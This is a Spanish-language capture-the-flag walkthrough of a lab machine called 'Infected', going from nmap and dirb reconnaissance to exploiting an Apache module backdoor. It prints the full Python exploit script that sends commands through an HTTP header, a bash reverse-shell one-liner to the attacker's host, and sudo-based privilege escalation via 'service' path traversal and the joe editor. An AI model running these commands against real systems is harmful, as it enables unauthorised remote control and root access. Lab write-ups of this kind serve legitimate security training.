Infected

🔍 Dificultad: Muy Fácil

🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

ping -c 1 192.168.1.72

para verificar la conectividad de red.

A continuación, se realiza el comando:

nmap -p- --open 192.168.1.72 --min-rate 5000 -n

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Como podemos observar durante el escaneo que el puerto 22 perteneciente al servicio SSH y el puerto 80 perteneciente al servicio HTTP están abiertos por lo que a continuación se indagará más.

🔎 EXPLORACIÓN

Se utiliza el comando:

sudo nmap -sCV -p22,80 -v 192.168.1.72

para obtener más información sobre ese puerto específicamente.

Revisamos el puerto 80 que es la página por defecto de Apache.

Revisamos directorios.

dirb http://192.168.1.72

Revisamos el info.php.

🚀 EXPLOTACIÓN

Revisando más a fondo encontramos que es un Backdoor.

https://github.com/WangYihang/Apache-HTTP-Server-Module-Backdoor/blob/main/exploit.py
import requests
import sys


def exploit(host, port, command):
    headers = {"Backdoor": command}
    url = f"http://{host}:{port}/"
    response = requests.get(url, headers=headers)
    text = response.text
    print(text)


def main():
    if len(sys.argv) != 3:
        print("Usage : ")
        print("\tpython %s [HOST] [PORT]" % (sys.argv[0]))
        exit(1)
    host = sys.argv[1]
    port = int(sys.argv[2])
    while True:
        command = input("$ ")
        if command == "exit":
            break
        exploit(host, port, command)


if __name__ == "__main__":
    main()

Ejecutamos.

./exploit.py 192.168.1.72 80

Lanzamos un RCE.

bash -c "bash -i >& /dev/tcp/192.168.1.65/443 0>&1"

🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

whoami

aún no somos root, por lo que hacemos:

sudo -l

para ver si hay algo para explotar.

sudo -u laurent /usr/sbin/service ../../bin/sh
sudo /usr/bin/joe
^K!/bin/bash

Last updated

Was this helpful?